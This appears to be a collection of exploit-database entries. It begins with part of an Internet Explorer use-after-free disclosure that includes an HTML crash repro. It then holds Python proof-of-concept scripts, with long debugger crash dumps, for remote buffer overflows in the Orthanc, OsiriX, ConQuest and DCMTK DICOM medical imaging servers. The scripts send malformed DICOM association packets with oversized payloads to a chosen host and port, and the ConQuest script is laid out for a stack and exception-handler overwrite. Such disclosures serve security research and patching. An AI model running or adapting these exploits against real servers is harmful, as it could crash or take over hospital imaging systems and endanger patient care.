An attacker would need to get a target user to open a specially crafted web-page. Disabling Java­Script should prevent an attacker from triggering the vulnerable code path.
Details
This bug was found back when I had very little knowledge and tools to do analysis on use-after-free bugs, so I have no details to share. ZDI revealed that this was a use-after-free vulnerability, though their advisory mentions an iframe, which is not in the repro I provided. I have included a number of reports created using a predecessor of Bug­Id below.

Repro.html:
-->

<!DOCTYPE html>
<html>
  <script>
    document.add­Event­Listener("load", function (){
      document.document­Element.remove­Node(true);
    }, true);
    document.add­Event­Listener("DOMNode­Removed", function (){
      document.write("");
    }, true);
  </script>
  <style>
  </style>
  <span dir="rtl">
    <ruby dir="ltr">
      <br/>
    </ruby>
  </span>
</html>

<!--
Time-line

Sometime in November 2012: This vulnerability was found through fuzzing.
11 November 2012: This vulnerability was submitted to EIP.
10 December 2012: This vulnerability was rejected by EIP.
12 December 2012: This vulnerability was submitted to ZDI.
25 January 2013: This vulnerability was acquired by ZDI.
15 February 2013: This vulnerability was disclosed to Microsoft by ZDI.
26 July 2013: This vulnerability was address by Microsoft in MS13-055.
14 December 2016: Details of this vulnerability are released.
-->
            
#!/usr/bin/env python
# -*- coding: utf8 -*-
#
# Orthanc DICOM Server 1.1.0 Remote Memory Corruption Vulnerability
#
#
# Vendor: Sébastien Jodogne
# Product web page: http://www.orthanc-server.com
# Affected version: 1.1.0 
#
# Summary: Orthanc is a Belgian, open-source, lightweight RESTful DICOM server
# for healthcare and medical research with an ubiquitous web interface that
# enables you to upload, receive and transfer DICOM images. It comes with
# a REST API to automate imaging flows and an SDK to integrate with native
# applications.
#
# Desc: The vulnerability is caused due to the usage of vulnerable collection
# of libraries that are part of DCMTK Toolkit, specifically the parser for the
# DICOM Upper Layer Protocol or DUL. Stack/Heap Buffer overflow/underflow can be
# triggered when sending and processing wrong length of ACSE data structure received
# over the network by the DICOM Store-SCP service. An attacker can overflow the stack
# and the heap of the process when sending large array of bytes to the presentation
# context item length segment of the DICOM standard, potentially resulting in remote
# code execution and/or denial of service scenario.
#
# -------------------------------------------------------------------------------
#
# ==5299== Memcheck, a memory error detector
# ==5299== Copyright (C) 2002-2013, and GNU GPL'd, by Julian Seward et al.
# ==5299== Using Valgrind-3.10.1 and LibVEX; rerun with -h for copyright info
# ==5299== Command: ./Orthanc
# ==5299== 
# W1201 17:35:34.724792 main.cpp:1235] Orthanc version: mainline (20161129T150442)
# W1201 17:35:34.804810 main.cpp:1092] Performance warning: Non-release build, runtime debug assertions are turned on
# W1201 17:35:35.042122 OrthancInitialization.cpp:125] Reading the configuration from: "/home/lqwrm/Subversion/orthanc/Resources/Configuration.json"
# W1201 17:35:35.272799 FromDcmtkBridge.cpp:141] Loading the external DICOM dictionary "/usr/share/libdcmtk2/dicom.dic"
# W1201 17:35:35.905845 FromDcmtkBridge.cpp:141] Loading the external DICOM dictionary "/usr/share/libdcmtk2/private.dic"
# W1201 17:35:36.407249 OrthancInitialization.cpp:488] Registering JPEG Lossless codecs
# W1201 17:35:36.417571 OrthancInitialization.cpp:493] Registering JPEG codecs
# W1201 17:35:36.846619 OrthancInitialization.cpp:986] SQLite index directory: "/ssd/lqwrm/Subversion/orthanc/i/OrthancStorage"
# W1201 17:35:36.999809 OrthancInitialization.cpp:1056] Storage directory: "/ssd/lqwrm/Subversion/orthanc/i/OrthancStorage"
# W1201 17:35:38.247567 LuaContext.cpp:103] Lua says: Lua toolbox installed
# W1201 17:35:38.319095 ServerScheduler.cpp:134] The server scheduler has started
# W1201 17:35:38.332937 HttpClient.cpp:680] No certificates are provided to validate peers, set "HttpsCACertificates" if you need to do HTTPS requests
# W1201 17:35:38.345479 ServerContext.cpp:181] Disk compression is disabled
# W1201 17:35:38.358374 ServerIndex.cpp:1392] No limit on the number of stored patients
# W1201 17:35:38.361704 ServerIndex.cpp:1409] No limit on the size of the storage area
# W1201 17:35:38.688634 main.cpp:822] DICOM server listening with AET ORTHANC on port: 4242
# W1201 17:35:38.715241 MongooseServer.cpp:887] This version of OpenSSL is vulnerable to the Heartbleed exploit
# W1201 17:35:38.721902 MongooseServer.cpp:1027] HTTP compression is enabled
# W1201 17:35:38.887721 main.cpp:757] HTTP server listening on port: 8042
# W1201 17:35:38.890026 main.cpp:644] Orthanc has started
# ==5299== Thread 11:
# ==5299== Invalid read of size 1
# ==5299==    at 0x5ECEBD: parsePresentationContext(unsigned char, dul_presentationcontext*, unsigned char*, unsigned long*, unsigned long) (dulparse.cc:389)
# ==5299==    by 0x5EC6A0: parseAssociate(unsigned char*, unsigned long, dul_associatepdu*) (dulparse.cc:234)
# ==5299==    by 0x5E0131: AE_6_ExamineAssociateRequest(PRIVATE_NETWORKKEY**, PRIVATE_ASSOCIATIONKEY**, int, void*) (dulfsm.cc:1158)
# ==5299==    by 0x5DF125: PRV_StateMachine(PRIVATE_NETWORKKEY**, PRIVATE_ASSOCIATIONKEY**, int, int, void*) (dulfsm.cc:750)
# ==5299==    by 0x56DF26: DUL_ReceiveAssociationRQ(void**, DUL_BLOCKOPTIONS, int, DUL_ASSOCIATESERVICEPARAMETERS*, void**, int) (dul.cc:669)
# ==5299==    by 0x56B440: ASC_receiveAssociation(T_ASC_Network*, T_ASC_Association**, long, void**, unsigned long*, bool, DUL_BLOCKOPTIONS, int) (assoc.cc:1752)
# ==5299==    by 0x4494B5: Orthanc::Internals::AcceptAssociation(Orthanc::DicomServer const&, T_ASC_Network*) (CommandDispatcher.cpp:439)
# ==5299==    by 0x42D010: Orthanc::DicomServer::ServerThread(Orthanc::DicomServer*) (DicomServer.cpp:69)
# ==5299==    by 0x43198B: void boost::_bi::list1<boost::_bi::value<Orthanc::DicomServer*> >::operator()<void (*)(Orthanc::DicomServer*), boost::_bi::list0>(boost::_bi::type<void>, void (*&)
#
# -------------------------------------------------------------------------------
#
# (47fc.40cc): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# *** WARNING: Unable to verify checksum for C:\Users\lqwrm\Downloads\orthancAndPluginsWin32.stable\Orthanc.exe
# *** ERROR: Module load completed but symbols could not be loaded for C:\Users\lqwrm\Downloads\orthancAndPluginsWin32.stable\Orthanc.exe
# eax=000000ce ebx=ffffc99c ecx=0074ae50 edx=013e3060 esi=018cf094 edi=010090ab
# eip=0136c910 esp=0389eca8 ebp=0389ece8 iopl=0         nv up ei ng nz na pe nc
# cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010286
# Orthanc+0xfc910:
# 0136c910 8a07            mov     al,byte ptr [edi]          ds:002b:010090ab=??
#
# -------------------------------------------------------------------------------
#
# Tested on: Microsoft Windows 7 Professional SP1 (EN)
#            Microsoft Windows 7 Ultimate SP1 (EN)
#            Ubuntu Linux/14.04.5
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2016-5380
# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5380.php
#
# Vendor: https://bitbucket.org/sjodogne/orthanc/commits/6ac6193a7935865db07d3d81c627c84de7557ce0?at=default
#         https://bitbucket.org/sjodogne/orthanc/src/Orthanc-1.2.0/NEWS?fileviewer=file-view-default
# 
# OFFIS e.V.: https://github.com/commontk/DCMTK/commit/1b6bb76
#
#
# 22.11.2016
#


import socket, sys

hello = ('\x01\x00\x00\x00\x80\x71\x00\x01\x00\x00\x4f\x52\x54\x48'
         '\x41\x4e\x43\x20\x20\x20\x20\x20\x20\x20\x20\x20\x4a\x4f'
         '\x58\x59\x50\x4f\x58\x59\x21\x00\x00\x00\x00\x00\x00\x00'
         '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
         '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
         '\x00\x00\x00\x00\x10\x00\x00\x15\x31\x2e\x32\x2e\x38\x34'
         '\x30\x2e\x31\x30\x30\x30\x38\x2e\x33\x2e\x31\x2e\x31\x2e'
         '\x31\x20\x00\x80\x00')

bye = ('\x50\x00\x00\x0c\x51\x00\x00\x04\x00\x00\x07\xde'
       '\x52\x00\x00\x00')

buffer = '\x41\x42\x43\x44' * 10000

if len(sys.argv) < 3:
	print '\nUsage: ' +sys.argv[0]+ ' <target> <port>'
	print 'Example: ' +sys.argv[0]+ ' 172.19.0.214 4242\n'
	sys.exit(0)
 
host = sys.argv[1]
port = int(sys.argv[2])

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((host, port))
s.settimeout(251)
s.send(hello+buffer+bye)
s.close
            
#!/usr/bin/env python
# -*- coding: utf8 -*-
#
#
# OsiriX DICOM Viewer 8.0.1 (dulparse.cc) Remote Memory Corruption Vulnerability
#
#
# Vendor: Pixmeo Sarl
# Product web page: http://www.osirix-viewer.com
# Affected version: OsiriX 8.0.1
#
# Summary: With high performance and an intuitive interactive user interface, OsiriX MD is
# the most widely used DICOM viewer in the world. It is the result of more than 10 years of
# research and development in digital imaging. It fully supports the DICOM standard for an
# easy integration in your workflow environment and an open platform for development of
# processing tools. It offers advanced post-processing techniques in 2D and 3D, exclusive
# innovative technique for 3D and 4D navigation and a complete integration with any PACS.
# OsiriX MD supports 64-bit computing and multithreading for the best performances on the
# most modern processors. OsiriX MD is certified for medical use, FDA cleared and CE II labeled.
#
# Summary2: OsiriX is an image processing application for Mac dedicated to DICOM images
# (".dcm" / ".DCM" extension) produced by equipment (MRI, CT, PET, PET-CT, ...).
# Osirix is complementary to existing viewers, in particular to nuclear medicine viewers.
#
# Desc: The vulnerability is caused due to the usage of vulnerable collection of libraries that
# are part of DCMTK Toolkit, specifically the parser for the DICOM Upper Layer Protocol or DUL.
# Stack/Heap Buffer overflow/underflow can be triggered when sending and processing wrong length
# of ACSE data structure received over the network by the DICOM Store-SCP service. An attacker can
# overflow the stack and the heap of the process when sending large array of bytes to the presentation
# context item length segment of the DICOM standard, potentially resulting in remote code execution
# and/or denial of service scenario.
#
# -------------------------------------------------------------------------------------
#
# (lldb)  
# Process 65202 stopped
# * thread #20: tid = 0x2c5fcc, 0x0000000108978441 OsiriX Lite`parseAssociate(unsigned char*, unsigned int, dul_associatepdu*) + 833, name = 'DICOM Store-SCP', stop reason = EXC_BAD_ACCESS (code=1, address=0x7fb5af00fda1)
#     frame #0: 0x0000000108978441 OsiriX Lite`parseAssociate(unsigned char*, unsigned int, dul_associatepdu*) + 833
# OsiriX Lite`parseAssociate:
# ->  0x108978441 <+833>: movzbl (%r10), %eax
#     0x108978445 <+837>: cmpl   $0x40, %eax
#     0x108978448 <+840>: movq   -0x200(%rbp), %rcx
#     0x10897844f <+847>: je     0x108978513               ; <+1043>
# (lldb) bt
# * thread #19: tid = 0x2f6189, 0x0000000102fe8441 OsiriX Lite`parseAssociate(unsigned char*, unsigned int, dul_associatepdu*) + 833, name = 'DICOM Store-SCP', stop reason = EXC_BAD_ACCESS (code=1, address=0x7fab8ac000a1)
#   * frame #0: 0x0000000102fe8441 OsiriX Lite`parseAssociate(unsigned char*, unsigned int, dul_associatepdu*) + 833
#     frame #1: 0x0000000102fe4363 OsiriX Lite`AE_6_ExamineAssociateRequest(PRIVATE_NETWORKKEY**, PRIVATE_ASSOCIATIONKEY**, int, void*) + 339
#     frame #2: 0x0000000102fe14ca OsiriX Lite`PRV_StateMachine(PRIVATE_NETWORKKEY**, PRIVATE_ASSOCIATIONKEY**, int, int, void*) + 314
#     frame #3: 0x0000000102fdae9c OsiriX Lite`DUL_ReceiveAssociationRQ(void**, DUL_BLOCKOPTIONS, int, DUL_ASSOCIATESERVICEPARAMETERS*, void**, int) + 4348
#     frame #4: 0x0000000102facf1e OsiriX Lite`ASC_receiveAssociation(T_ASC_Network*, T_ASC_Association**, long, void**, unsigned int*, bool, DUL_BLOCKOPTIONS, int) + 462
#     frame #5: 0x0000000102c5f28f OsiriX Lite`DcmQueryRetrieveSCP::waitForAssociation(T_ASC_Network*) + 207
#     frame #6: 0x0000000102c3f9c7 OsiriX Lite`-[DCMTKQueryRetrieveSCP run] + 4999
#     frame #7: 0x0000000102987a37 OsiriX Lite`-[AppController startSTORESCP:] + 519
#     frame #8: 0x00007fff975b030d Foundation`__NSThread__start__ + 1243
#     frame #9: 0x00007fffab021aab libsystem_pthread.dylib`_pthread_body + 180
#     frame #10: 0x00007fffab0219f7 libsystem_pthread.dylib`_pthread_start + 286
#     frame #11: 0x00007fffab021221 libsystem_pthread.dylib`thread_start + 13
# (lldb) register read
# General Purpose Registers:
#        rax = 0x0000000000000103
#        rbx = 0x00000001044c18d8  OsiriX Lite`ECC_Normal
#        rcx = 0x00006100002e6200
#        rdx = 0x000000000001ad41
#        rdi = 0x00000001044c18d8  OsiriX Lite`ECC_Normal
#        rsi = 0x00006100002e6200
#        rbp = 0x0000700005a4a670
#        rsp = 0x0000700005a4a420
#         r8 = 0x0000000000000103
#         r9 = 0x00000000fb40cfc6
#        r10 = 0x00007fab8ac000a1
#        r11 = 0x0000000000000041
#        r12 = 0x0000700005a4a6b8
#        r13 = 0x00000001044c18f0  OsiriX Lite`EC_Normal
#        r14 = 0x00000001044c18d8  OsiriX Lite`ECC_Normal
#        r15 = 0x0000000000008014
#        rip = 0x0000000102fe8441  OsiriX Lite`parseAssociate(unsigned char*, unsigned int, dul_associatepdu*) + 833
#     rflags = 0x0000000000010286
#         cs = 0x000000000000002b
#         fs = 0x0000000000000000
#         gs = 0x0000000000000000
#
# -------------------------------------------------------------------------------------
#
# Tested on: OS X 10.12.2 (Sierra)
#            OS X 10.12.1 (Sierra)
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2016-5382
# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5382.php
#
# https://tools.ietf.org/html/rfc3240
# https://github.com/commontk/DCMTK/commit/1b6bb76
#
# 29.11.2016
#


import sys, socket

hello = ('\x01\x00\x00\x00\x80\x71\x00\x01\x00\x00\x4f\x52\x54\x48'
         '\x41\x4e\x43\x20\x20\x20\x20\x20\x20\x20\x20\x20\x4a\x4f'
         '\x58\x59\x50\x4f\x58\x59\x21\x00\x00\x00\x00\x00\x00\x00'
         '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
         '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
         '\x00\x00\x00\x00\x10\x00\x00\x15\x31\x2e\x32\x2e\x38\x34'
         '\x30\x2e\x31\x30\x30\x30\x38\x2e\x33\x2e\x31\x2e\x31\x2e'
         '\x31\x20\x00\x80\x00')

bye = ('\x50\x00\x00\x0c\x51\x00\x00\x04\x00\x00\x07\xde'
       '\x52\x00\x00\x00')

buffer = '\x41\x42\x43\x44' * 10000

if len(sys.argv) < 3:
  print '\nUsage: ' +sys.argv[0]+ ' <target> <port>'
  print 'Example: ' +sys.argv[0]+ ' 172.19.0.214 11112\n'
  sys.exit(0)
 
host = sys.argv[1]
port = int(sys.argv[2])

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((host, port))
s.settimeout(251)
s.send(hello+buffer+bye)
s.close
            
#!/usr/bin/env python
# -*- coding: utf8 -*-
#
#
# ConQuest DICOM Server 1.4.17d Remote Stack Buffer Overflow RCE
#
#
# Vendor: University of Manchester. Developed by Marcel van Herk, Lambert Zijp and Jan Meinders. The Netherlands Cancer Institute
# Product web page: https://ingenium.home.xs4all.nl/dicom.html | http://dicom.nema.org
# Affected version: 1.4.17d
#                   1.4.19beta3a
#                   1.4.19beta3b
#
# Summary: A full featured DICOM server has been developed based on the public
# domain UCDMC DICOM code. Some possible applications of the Conquest DICOM software
# are: DICOM training and testing; Demonstration image archives; Image format conversion
# from a scanner with DICOM network access; DICOM image slide making; DICOM image selection
# and (limited) editing; Automatic image forwarding and (de)compression.
#
# The vulnerability is caused due to the usage of vulnerable collection of libraries that
# are part of DCMTK Toolkit, specifically the parser for the DICOM Upper Layer Protocol or DUL.
# Stack/Heap Buffer overflow/underflow can be triggered when sending and processing wrong length
# of ACSE data structure received over the network by the DICOM Store-SCP service. An attacker can
# overflow the stack and the heap of the process when sending large array of bytes to the presentation
# context item length segment of the DICOM standard, potentially resulting in remote code execution
# and/or denial of service scenario.
#
# ------------------------------------------------------------------------------
# 0:002> g
# (820.fc4): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# *** WARNING: Unable to verify checksum for C:\Users\lqwrm\Downloads\dicomserver1419beta3b\dgate64.exe
# *** ERROR: Module load completed but symbols could not be loaded for C:\Users\lqwrm\Downloads\dicomserver1419beta3b\dgate64.exe
# dgate64+0xb9a29:
# 00000001`3fe09a29 488b5108        mov     rdx,qword ptr [rcx+8] ds:42424242`4242424a=????????????????
# 0:002> r
# rax=0000000044444444 rbx=000000000298c910 rcx=4242424242424242
# rdx=000001400046001a rsi=0000000000001105 rdi=000000000041dc50
# rip=000000013fe09a29 rsp=000000000298b840 rbp=000000000298e8e4
#  r8=000000000041dc40  r9=0000000000000402 r10=0000000000000281
# r11=0000013f004a0019 r12=0000000000003eb7 r13=0000000000000000
# r14=0000000000000000 r15=000000000298c910
# iopl=0         nv up ei pl nz na po nc
# cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
# dgate64+0xb9a29:
# 00000001`3fe09a29 488b5108        mov     rdx,qword ptr [rcx+8] ds:42424242`4242424a=????????????????
# 0:002> u
# dgate64+0xb9a29:
# 00000001`3fe09a29 488b5108        mov     rdx,qword ptr [rcx+8]
# 00000001`3fe09a2d 488b4110        mov     rax,qword ptr [rcx+10h]
# 00000001`3fe09a31 4885d2          test    rdx,rdx
# 00000001`3fe09a34 7406            je      dgate64+0xb9a3c (00000001`3fe09a3c)
# 00000001`3fe09a36 48894210        mov     qword ptr [rdx+10h],rax
# 00000001`3fe09a3a eb04            jmp     dgate64+0xb9a40 (00000001`3fe09a40)
# 00000001`3fe09a3c 48894328        mov     qword ptr [rbx+28h],rax
# 00000001`3fe09a40 488b5110        mov     rdx,qword ptr [rcx+10h]
# 0:002> 
# dgate64+0xb9a44:
# 00000001`3fe09a44 488b4108        mov     rax,qword ptr [rcx+8]
# 00000001`3fe09a48 4885d2          test    rdx,rdx
# 00000001`3fe09a4b 7406            je      dgate64+0xb9a53 (00000001`3fe09a53)
# 00000001`3fe09a4d 48894208        mov     qword ptr [rdx+8],rax
# 00000001`3fe09a51 eb04            jmp     dgate64+0xb9a57 (00000001`3fe09a57)
# 00000001`3fe09a53 48894330        mov     qword ptr [rbx+30h],rax
# 00000001`3fe09a57 ba18000000      mov     edx,18h
# 00000001`3fe09a5c e804caf4ff      call    dgate64+0x6465 (00000001`3fd56465)
# 0:002> kb e
#  # RetAddr           : Args to Child                                                           : Call Site
# 00 00000001`3fe104d2 : 00000000`00457a28 00000000`00008014 00000000`0298b8d9 00000000`00000000 : dgate64+0xb9a29
# 01 41414141`41414141 : 41414141`41414141 41414141`41414141 41414141`41414141 41414141`41414141 : dgate64+0xc04d2
# 02 41414141`41414141 : 41414141`41414141 41414141`41414141 41414141`41414141 41414141`41414141 : 0x41414141`41414141
# 03 41414141`41414141 : 41414141`41414141 41414141`41414141 41414141`41414141 41414141`41414141 : 0x41414141`41414141
# 04 41414141`41414141 : 41414141`41414141 41414141`41414141 41414141`41414141 41414141`41414141 : 0x41414141`41414141
# 05 41414141`41414141 : 41414141`41414141 41414141`41414141 41414141`41414141 41414141`41414141 : 0x41414141`41414141
# 06 41414141`41414141 : 41414141`41414141 41414141`41414141 41414141`41414141 41414141`41414141 : 0x41414141`41414141
# 07 41414141`41414141 : 41414141`41414141 41414141`41414141 41414141`41414141 41414141`41414141 : 0x41414141`41414141
# 08 41414141`41414141 : 41414141`41414141 41414141`41414141 41414141`41414141 41414141`41414141 : 0x41414141`41414141
# 09 41414141`41414141 : 41414141`41414141 41414141`41414141 41414141`41414141 41414141`41414141 : 0x41414141`41414141
# 0a 41414141`41414141 : 41414141`41414141 41414141`41414141 41414141`41414141 41414141`41414141 : 0x41414141`41414141
# 0b 41414141`41414141 : 41414141`41414141 41414141`41414141 41414141`41414141 41414141`41414141 : 0x41414141`41414141
# 0c 41414141`41414141 : 41414141`41414141 41414141`41414141 41414141`41414141 41414141`41414141 : 0x41414141`41414141
# 0d 41414141`41414141 : 41414141`41414141 41414141`41414141 41414141`41414141 41414141`41414141 : 0x41414141`41414141
# 0:002> !exchain
# 100 stack frames, scanning for handlers...
# Frame 0x01: dgate64+0xc04d2 (00000001`3fe104d2)
#   ehandler dgate64+0x552e (00000001`3fd5552e)
# Frame 0x02: error getting module for 4141414141414141
# Frame 0x03: error getting module for 4141414141414141
# Frame 0x04: error getting module for 4141414141414141
# Frame 0x05: error getting module for 4141414141414141
# Frame 0x06: error getting module for 4141414141414141
# Frame 0x07: error getting module for 4141414141414141
# Frame 0x08: error getting module for 4141414141414141
# Frame 0x09: error getting module for 4141414141414141
# Frame 0x0a: error getting module for 4141414141414141
# Frame 0x0b: error getting module for 4141414141414141
# Frame 0x0c: error getting module for 4141414141414141
# Frame 0x0d: error getting module for 4141414141414141
# Frame 0x0e: error getting module for 4141414141414141
# Frame 0x0f: error getting module for 4141414141414141
# Frame 0x10: error getting module for 4141414141414141
# Frame 0x11: error getting module for 4141414141414141
# Frame 0x12: error getting module for 4141414141414141
# Frame 0x13: error getting module for 4141414141414141
# Frame 0x14: error getting module for 4141414141414141
# Frame 0x15: error getting module for 4141414141414141
# Frame 0x16: error getting module for 4141414141414141
# ...
# ...
# Frame 0x61: error getting module for 4141414141414141
# Frame 0x62: error getting module for 4141414141414141
# Frame 0x63: error getting module for 4141414141414141
# 0:002> g
#
# STATUS_STACK_BUFFER_OVERRUN encountered
# (820.fc4): Break instruction exception - code 80000003 (first chance)
# kernel32!UnhandledExceptionFilter+0x71:
# 00000000`7796bb21 cc              int     3
# 0:002> g
# ntdll!ZwWaitForSingleObject+0xa:
# 00000000`77a3bb7a c3              ret
#
# ------------------------------------------------------------------------------
#
# Tested on: Microsoft Windows 7 Professional SP1 (EN)
#            Microsoft Windows 7 Ultimate SP1 (EN)
#            Linux Ubuntu 14.04.5
#            Solaris 10
#            macOS/10.12.2
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2016-5383
# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5383.php
#
# 
# 22.11.2016
#


import socket, sys

hello = ('\x01\x00\x00\x00\x80\x71\x00\x01\x00\x00\x4f\x52\x54\x48'
         '\x41\x4e\x43\x20\x20\x20\x20\x20\x20\x20\x20\x20\x4a\x4f'
         '\x58\x59\x50\x4f\x58\x59\x21\x00\x00\x00\x00\x00\x00\x00'
         '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
         '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
         '\x00\x00\x00\x00\x10\x00\x00\x15\x31\x2e\x32\x2e\x38\x34'
         '\x30\x2e\x31\x30\x30\x30\x38\x2e\x33\x2e\x31\x2e\x31\x2e'
         '\x31\x20\x00\x80\x00')

# 33406 bytes
buffer  = '\x41' * 20957 # STACK OVERFLOW / SEH OVERWRITE
buffer += '\x42' * 8 # RCX = 4242424242424242
buffer += '\x43' * 8 # defiler ;]
buffer += '\x44\x44\x44\x44' # EAX = 44444444 / RAX = 0000000044444444
buffer += '\x45' * 12429

bye = ('\x50\x00\x00\x0c\x51\x00\x00\x04\x00\x00\x07\xde'
       '\x52\x00\x00\x00')

print 'Sending '+str(len(buffer))+' bytes of data!'

if len(sys.argv) < 3:
	print '\nUsage: ' +sys.argv[0]+ ' <target> <port>'
	print 'Example: ' +sys.argv[0]+ ' 172.19.0.214 5678\n'
	sys.exit(0)
 
host = sys.argv[1]
port = int(sys.argv[2])

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((host, port))
s.settimeout(17)
s.send(hello+buffer+bye)
s.close
            
#!/usr/bin/env python
# -*- coding: utf8 -*-
#
#
# DCMTK storescp DICOM storage (C-STORE) SCP Remote Stack Buffer Overflow
#
#
# Vendor: OFFIS e. V.
# Product web page: http://www.dcmtk.org
# Affected version: <= 3.6.0
# Not affected: DCMTK-3.6.1_20160216 - https://github.com/commontk/DCMTK/commit/1b6bb76
#
# http://www.idoimaging.com/programs?order=program.rdate&
#
# Summary: DCMTK is a collection of libraries and applications implementing large
# parts the DICOM standard. It includes software for examining, constructing and
# converting DICOM image files, handling offline media, sending and receiving images
# over a network connection, as well as demonstrative image storage and worklist
# servers. DCMTK is is written in a mixture of ANSI C and C++. It comes in complete
# source code and is made available as "open source" software.
#
# Desc: "At several places in the code a wrong length of ACSE data structures received
# over the network can cause overflows or underflows when processing those
# data structures. Related checks have been added at various places in order
# to prevent such (possible) attacks. Thanks to Kevin Basista for the report."
#
# The bug will indeed affect all DCMTK-based server applications that accept incoming
# DICOM network connections that are using the dcmtk-3.6.0 and earlier versions.
# Developers are advised to apply the patched-DCMTK-3.6.1_20160216 fix commit from
# Dec 14, 2015.
#
# ---------------------------------------------------------------------------------
#
# Process 27765 stopped
# * thread #1: tid = 0x3e4b46, 0x00000001000a6f1d storescp`parsePresentationContext(unsigned char, dul_presentationcontext*, unsigned char*, unsigned long*, unsigned long) + 3325, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x10380001b)
#     frame #0: 0x00000001000a6f1d storescp`parsePresentationContext(unsigned char, dul_presentationcontext*, unsigned char*, unsigned long*, unsigned long) + 3325
# storescp`parsePresentationContext:
# ->  0x1000a6f1d <+3325>: movb   (%rax), %al
#     0x1000a6f1f <+3327>: movzbl %al, %eax
#     0x1000a6f22 <+3330>: cmpl   $0x40, %eax
#     0x1000a6f25 <+3333>: movl   %eax, -0xa74(%rbp)
# (lldb) re r
# General Purpose Registers:
#        rax = 0x000000010380001b
#        rbx = 0x0000000000000000
#        rcx = 0x00000001002d40f0  vtable for log4cplus::spi::AppenderAttachable + 16
#        rdx = 0x0000000000000010
#        rdi = 0x00007fff5fbf78a0
#        rsi = 0x3f7bc30000000000
#        rbp = 0x00007fff5fbf7b30
#        rsp = 0x00007fff5fbf7030
#         r8 = 0x0000000100733918
#         r9 = 0x00000000003e4b46
#        r10 = 0x0000000100733920
#        r11 = 0xffffffff00000000
#        r12 = 0x0000000000000000
#        r13 = 0x0000000000000000
#        r14 = 0x0000000000000000
#        r15 = 0x0000000000000000
#        rip = 0x00000001000a6f1d  storescp`parsePresentationContext(unsigned char, dul_presentationcontext*, unsigned char*, unsigned long*, unsigned long) + 3325
#     rflags = 0x0000000000010246
#         cs = 0x000000000000002b
#         fs = 0x0000000000000000
#         gs = 0x0000000000000000
#
# (lldb)
#
# =====
#
# ➜  bin ./storescp -d 4242
# D: $dcmtk: storescp v3.6.0 2011-01-06 $
# D: 
# D: setting network receive timeout to 60 seconds
# D: PDU Type: Associate Request, PDU Length: 32881 + 6 bytes PDU header
# D: Only dumping 512 bytes.
# D:   01  00  00  00  80  71  00  01  00  00  4f  52  54  48  41  4e
# D:   43  20  20  20  20  20  20  20  20  20  54  45  53  54  53  55
# D:   49  54  45  00  00  00  00  00  00  00  00  00  00  00  00  00
# D:   00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
# D:   00  00  00  00  00  00  00  00  00  00  10  00  00  15  31  2e
# D:   32  2e  38  34  30  2e  31  30  30  30  38  2e  33  2e  31  2e
# D:   31  2e  31  20  00  80  00  41  42  43  44  41  42  43  44  41
# D:   42  43  44  41  42  43  44  41  42  43  44  41  42  43  44  41
# D:   42  43  44  41  42  43  44  41  42  43  44  41  42  43  44  41
# D:   42  43  44  41  42  43  44  41  42  43  44  41  42  43  44  41
# D:   42  43  44  41  42  43  44  41  42  43  44  41  42  43  44  41
# D:   42  43  44  41  42  43  44  41  42  43  44  41  42  43  44  41
# D:   42  43  44  41  42  43  44  41  42  43  44  41  42  43  44  41
# D:   42  43  44  41  42  43  44  41  42  43  44  41  42  43  44  41
# D:   42  43  44  41  42  43  44  41  42  43  44  41  42  43  44  41
# D:   42  43  44  41  42  43  44  41  42  43  44  41  42  43  44  41
# D:   42  43  44  41  42  43  44  41  42  43  44  41  42  43  44  41
# D:   42  43  44  41  42  43  44  41  42  43  44  41  42  43  44  41
# D:   42  43  44  41  42  43  44  41  42  43  44  41  42  43  44  41
# D:   42  43  44  41  42  43  44  41  42  43  44  41  42  43  44  41
# D:   42  43  44  41  42  43  44  41  42  43  44  41  42  43  44  41
# D:   42  43  44  41  42  43  44  41  42  43  44  41  42  43  44  41
# D:   42  43  44  41  42  43  44  41  42  43  44  41  42  43  44  41
# D:   42  43  44  41  42  43  44  41  42  43  44  41  42  43  44  41
# D:   42  43  44  41  42  43  44  41  42  43  44  41  42  43  44  41
# D:   42  43  44  41  42  43  44  41  42  43  44  41  42  43  44  41
# D:   42  43  44  41  42  43  44  41  42  43  44  41  42  43  44  41
# D:   42  43  44  41  42  43  44  41  42  43  44  41  42  43  44  41
# D:   42  43  44  41  42  43  44  41  42  43  44  41  42  43  44  41
# D:   42  43  44  41  42  43  44  41  42  43  44  41  42  43  44  41
# D:   42  43  44  41  42  43  44  41  42  43  44  41  42  43  44  41
# D:   42  43  44  41  42  43  44  41  42  43  44  41  42  43  44  41
# D: 
# D: Parsing an A-ASSOCIATE PDU
# [1]    25553 segmentation fault  ./storescp -d 4242
# ➜  bin  
#
# ---------------------------------------------------------------------------------
#
# Tested on: Microsoft Windows 7 Professional SP1 (EN)
#            Microsoft Windows 7 Ultimate SP1 (EN)
#            MacOS X 10.12.2 Sierra
